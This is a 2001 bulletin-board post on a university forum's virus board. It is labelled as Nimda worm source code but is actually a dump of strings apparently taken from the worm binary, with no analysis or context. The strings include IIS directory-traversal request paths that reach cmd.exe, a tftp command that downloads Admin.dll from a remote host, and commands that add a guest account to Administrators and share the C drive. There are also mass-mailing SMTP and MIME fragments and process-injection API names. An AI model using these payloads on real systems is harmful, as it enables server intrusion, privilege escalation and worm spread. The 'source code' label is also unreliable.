荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: alexises (CHINA_Giraffe_GD), 信区: Virus
标  题: nimda源代码
发信站: 荔园晨风BBS站 (Thu Sep 27 14:10:43 2001), 转信

" .exe"
" -dontrunold"
" -qusery9bnow"
"

[rename]
"
"

--====_ABC1234567890DEF_====

"
"
"
"
<html><script language="JavaScript">window.o"
"% Privileged Time"
"% Processor Time"
"% User Time"
"%ld %ld %ld"
"%ld %ld"
"%ls"
".
"
".."
".asp"
".doc"
".eml"
".exe"
".htm"
".nws"
"/_mem_bin/..%255c../..%255c../..%255c.."
"/_vti_bin/..%255c../..%255c../..%255c.."
"/Admin.dll"
"/c"
"/d"
"/MSADC"
"/msadc/..%255c../..%255c../..%255c/..%c1%1c../"
"/root.exe?/c+"
"/scripts"
"/scripts/..%%35%63.."
"/scripts/..%%35c.."
"/scripts/..%25%35%63.."
"/scripts/..%252f.."
"/scripts/..%255c.."
"/scripts/..%c0%2f.."
"/scripts/..%c0%af.."
"/scripts/..%c1%1c.."
"/scripts/..%c1%9c.."
"/winnt/system32/cmd.exe?/c+"
"\*.*"
"\\"
"\\%s"
"\load.exe"
"\mmc.exe"
"\readme*.exe"
"\readme.eml"
"\riched20.dll"
"\system.ini"
"\wininit.ini"
"__WSAFDIsSet"
">
"
"aabbcc"
"admin.dll"
"Admin.dll"
"bind"
"boot"
"c:"
"C:\"
"c:\Admin.dll"
"Cache"
"closesocket"
"connect"
"Context Switches/sec"
"Counter 009"
"Counters"
"CreateRemoteThread"
"d:\Admin.dll"
"DATA
"
"default"
"dir"
"dontrunold"
"e:\Admin.dll"
"Elapsed Time"
"Exec Read Only"
"Exec Read/Write"
"Exec Write Copy"
"Executable"
"explorer.exe load.exe -dontrunold"
"Flags"
"From: <"
"fsdhqherwqi2001"
"GET %s HTTP/1.0
Host: www
Connnection: "
"gethostbyname"
"gethostname"
"HeapAlloc"
"HeapCompact"
"HeapCreate"
"HeapDestroy"
"HeapFree"
"HELO "
"Hidden"
"HideFileExt"
"html"
"htonl"
"htons"
"ID Process"
"ID Thread"
"Image Space Exec Read Only"
"Image Space Exec Read/Write"
"Image Space Exec Write Copy"
"Image Space Executable"
"Image Space No Access"
"Image Space Read Only"
"Image Space Read/Write"
"Image Space Write Copy"
"Image"
"index"
"inet_addr"
"inet_ntoa"
"ioctlsocket"
"KERNEL32.DLL"
"Last Counter"
"localgroup Administrators guest "
"localgroup Guests guest /add"
"MAIL FROM: <"
"main"
"MAPI32.DLL"
"MAPIFindNext"
"MAPIFreeBuffer"
"MAPILogoff"
"MAPILogon"
"MAPIReadMail"
"MAPIResolveName"
"MAPISendMail"
"Mapped Space Exec Read Only"
"Mapped Space Exec Read/Write"
"Mapped Space Exec Write Copy"
"Mapped Space Executable"
"Mapped Space No Access"
"Mapped Space Read Only"
"Mapped Space Read/Write"
"Mapped Space Write Copy"
"mep"
"MIME-Version: 1.0
Content-Type: "
"MPR.DLL"
"NameServer"
"net"
"No Access"
"ntohl"
"ntohs"
"NUL="
"NULL"
"octet"
"open"
"Page Faults/sec"
"Parm1enc"
"Parm2enc"
"Path"
"Personal"
"Priority Base"
"Priority Current"
"Private Bytes"
"Process Address Space"
"Process"
"QUIT
"
"qusery9bnow"
"RCPT TO: <"
"Read Only"
"Read/Write"
"readme"
"recv"
"recvfrom"
"RegisterServiceProcess"
"Remark"
"Reserved Space Exec Read Only"
"Reserved Space Exec Read/Write"
"Reserved Space Exec Write Copy"
"Reserved Space Executable"
"Reserved Space No Access"
"Reserved Space Read Only"
"Reserved Space Read/Write"
"Reserved Space Write Copy"
"riched20.dll"
"select"
"send"
"sendto"
"share c$=c:\"
"Shell"
"SHELL32.DLL"
"ShellExecuteA"
"ShowSuperHidden"
"socket"
"software\microsoft\windows nt\currentversion\p"
"SOFTWARE\Microsoft\Windows\CurrentVersion\App "
"Software\Microsoft\Windows\CurrentVersion\Expl"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Netw"
"Start Address"
"Subject: "
"SYSTEM\CurrentControlSet\Services\lanmanserver"
"SYSTEM\CurrentControlSet\Services\Tcpip\Parame"
"System\CurrentControlSet\Services\VxD\MSTCP"
"tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20"
"Thread Details"
"Thread"
"Type"
"user guest """
"user guest /active"
"user guest /add"
"User PC"
"Version"
"Virtual Bytes Peak"
"Virtual Bytes"
"VirtualAllocEx"
"VirtualFreeEx"
"VirtualProtectEx"
"VirtualQueryEx"
"winzip32.exe"
"WNetAddConnection2A"
"WNetCancelConnection2A"
"WNetCloseEnum"
"WNetEnumResourceA"
"WNetOpenEnumA"
"Working Set Peak"
"Working Set"
"Write Copy"
"ws2_32.dll"
"WSACleanup"
"WSAStartup"

--
欢迎来到长颈鹿的FTP:192.168.47.34 这里有很多好东西哦!!!
                                █  █
       MM 快 点 找 我 聊 聊 天  ███  伊妹儿 : alexises@163.net/
      ━━━━━━━━━━━━━█  █━━━━━━━━━━━━━━
*                          ★*自由自在的我*★
 热烈欢迎来到SS理学院版,与我们一起有理走天下!!!!!!!

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.47.34]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店